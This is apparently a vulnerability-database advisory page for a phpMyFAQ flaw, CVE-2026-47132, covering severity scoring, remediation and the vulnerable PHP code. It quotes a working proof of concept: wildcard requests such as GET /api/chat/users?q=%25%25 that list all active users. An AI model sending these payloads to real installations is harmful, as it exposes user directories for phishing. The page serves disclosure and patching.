Skip to main content

phpMyFAQ CVE-2026-47132

| EUVDEUVD-2026-86290 MEDIUM
Improper Input Validation (CWE-20)
2026-08-12 https://github.com/thorsten/phpMyFAQ GHSA-6pvm-2vjj-rx4w
5.4
CVSS 3.1 · Vendor: https://github.com/thorsten/phpMyFAQ
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain valid user session
  2. Delivery
    Send crafted LIKE wildcard query to /api/chat/users
  3. Exploit
    Database returns all active user records
  4. Execution
    Enumerate user IDs and display names
  5. Impact
    Use directory for targeted phishing or follow-on attacks

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Exploitation requires a valid authenticated session on the phpMyFAQ instance - the attacker must hold any active user account (PR:L). The chat feature (/api/chat/) must be enabled and the /api/chat/users endpoint must be accessible to the authenticated user, which is the default configuration for installations that use chat. No administrative privilege is required; any regular end-user account suffices. The minimum query length check (mb_strlen < 2) is trivially bypassed because %% and __ are each two characters. Exploitation is limited to enumerating active users only (u.account_status = 'active'); disabled or pending accounts are excluded. The output is bounded to display names and user IDs - no password hashes, email addresses, or session tokens are exposed by this specific endpoint.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N, score 5.4) accurately reflects the attack profile: network-reachable, low complexity, requiring only a valid authenticated session, with limited confidentiality and minimal integrity impact. The I:L rating deserves scrutiny - LIKE wildcard injection does not modify data, so integrity impact is questionable and may be scored conservatively; the real impact is information disclosure. EPSS data was not provided, and no CISA KEV listing exists, meaning this is not confirmed as actively exploited at time of analysis. A public PoC exists (confirmed in the GitHub advisory), which modestly elevates real-world risk above a theoretical finding. The exploitability is high once the attacker has any valid account - there is no complexity barrier. The impact is bounded: only active user IDs and display names are leaked; no password hashes, session tokens, or other credentials are accessible through this endpoint. Even a small deployment with internal staff accounts warrants treating this as a meaningful insider threat or post-authentication escalation path, since it hands an attacker a full internal user directory to support phishing, targeted social engineering, or follow-on attacks. The absence of KEV listing and the bounded impact class this as a medium-priority issue - important to patch, but not an emergency for most organizations unless the phpMyFAQ instance is internet-facing with open self-registration.

Exploit ScenarioDerived

An attacker with any valid phpMyFAQ user account - including a low-privilege account created through self-registration if enabled - sends GET /api/chat/users?q=%25%25 (URL-encoded %%) to the chat user search API with a valid session cookie. Because %% expands to a bare LIKE wildcard pattern matching every string, the database returns all active user records up to the configured limit. The attacker iterates with additional queries using _ wildcards to enumerate users with specific display-name patterns, building a complete directory of internal user IDs and display names. A public PoC demonstrating this exact technique is referenced in the GitHub advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 12, 2026

SQL LIKE wildcard injection in phpMyFAQ's chat user search endpoint (GET /api/chat/users?q=) allows any authenticated user to bypass the intended display-name filter and enumerate all active user accounts. The vulnerability exists because the Chat::searchUsers() method applies database escape() to prevent SQL string breakout but omits escaping of the LIKE metacharacters % and _, which the database engine still interprets as wildcards. A PoC is publicly available demonstrating full user enumeration via q=%25%25 and q=__; no KEV listing exists at time of analysis.

RemediationAI

Apply the upstream fix available at commit bd4b08b012234ccfcff07bfe6518062475b29e0a (https://github.com/thorsten/phpMyFAQ/commit/bd4b08b012234ccfcff07bfe6518062475b29e0a), which adds pre-escaping of |, %, and _ characters in the searchTerm before the LIKE query, and appends ESCAPE '|' to the LIKE clause - the same pattern already used elsewhere in the codebase. The fixed version is 4.2.0-alpha per the GHSA advisory (https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-6pvm-2vjj-rx4w); note that this is an alpha release and operators should verify stability before deploying to production. If an immediate patch is not possible, a compensating control is to restrict access to the /api/chat/ endpoint at the web server or WAF layer to reduce the exposure surface - however, this disables chat functionality entirely. Alternatively, a WAF rule blocking URL-encoded % (%25) and _ in the q parameter of /api/chat/users can reduce wildcard injection risk without fully disabling the feature, though it may also block legitimate queries containing those characters.

Affected VersionsENISA

phpMyFAQ < 4.2.0-alpha

Affected Packages

composer thorsten/phpmyfaq fix: 4.2.0-alpha
euvd phpmyfaq fix: 4.2.0-alpha

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

phpMyFAQ is an open-source PHP FAQ application (composer package thorsten/phpmyfaq). The vulnerable code path is in phpmyfaq/src/phpMyFAQ/Chat.php in the searchUsers() method, which constructs a raw SQL LIKE query via sprintf(). The database abstraction layer's escape() call neutralizes SQL string-termination characters (apostrophes, backslashes) per CWE-20 (Improper Input Validation), but SQL LIKE wildcards (% matches any sequence, _ matches any single character) are not string-syntax characters and are unaffected by escape(). This is a well-understood class of LIKE wildcard injection: the attacker does not escape the quoted string, they abuse metacharacter semantics inside it. The project already implements the correct mitigation pattern elsewhere - using ESCAPE '|' with explicit pre-escaping of |, %, and _ - but the chat search path was not updated to match. The affected CPE is pkg:composer/thorsten_phpmyfaq.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/thorsten/phpMyFAQ) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
vuln.today AI 4.3 MEDIUM

Read-only user enumeration with no data modification, so I:N; PR:L required for authenticated session; all other vectors match provided score.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/thorsten/phpMyFAQ).

CVSS VectorVendor: https://github.com/thorsten/phpMyFAQ

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.

Details

The vulnerable endpoint is:

  GET /api/chat/users?q=...

Source:

php
  // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
  $query = trim($request->query->get('q', ''));

  if (mb_strlen($query) < 2) {
      return $this->json([
          'success' => true,
          'users' => [],
      ], Response::HTTP_OK);
  }

  $chat = new Chat($this->configuration);
  $users = $chat->searchUsers($query, $this->currentUser->getUserId());

Sink:

php
  // phpmyfaq/src/phpMyFAQ/Chat.php
  $escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));

  $query = sprintf(
      "SELECT u.user_id, ud.display_name
       FROM %sfaquser u
       LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
       WHERE u.user_id != %d
         AND u.user_id > 0
         AND LOWER(ud.display_name) LIKE '%%%s%%'
         AND u.account_status = 'active'
       LIMIT %d",
      Database::getTablePrefix(),
      Database::getTablePrefix(),
      $excludeUserId,
      $escapedTerm,
      $limit,
  );

escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.

The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.

PoC:

Tested against:

phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae

Prerequisite: attacker has any valid authenticated user account.

  1. Ensure there are multiple active users in the database, for example:
  userId=2 displayName="Alice Finance"
  userId=3 displayName="Bob Support"
  userId=4 displayName="Carol Engineering"
  1. Send a normal query that should not match any user:
  GET /api/chat/users?q=zz HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Observed response:

  {
    "success": true,
    "users": []
  }
  1. Send a wildcard query:
  GET /api/chat/users?q=%25%25 HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Observed response:

  {
    "success": true,
    "users": [
      {
        "userId": 2,
        "displayName": "Alice Finance"
      },
      {
        "userId": 3,
        "displayName": "Bob Support"
      },
      {
        "userId": 4,
        "displayName": "Carol Engineering"
      }
    ]
  }

The same issue is reproducible with _ wildcards:

  GET /api/chat/users?q=__ HTTP/1.1
  Host: target
  Cookie: [authenticated session]

Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.

Impact

This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.

Video PoC:

https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f

Threat Intelligence Overview

EPSS Score
0.3%
Top 85% exploitable
Prevalence
Low
niche open-source PHP FAQ application, limited enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
3 sources
Confidence: Low

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy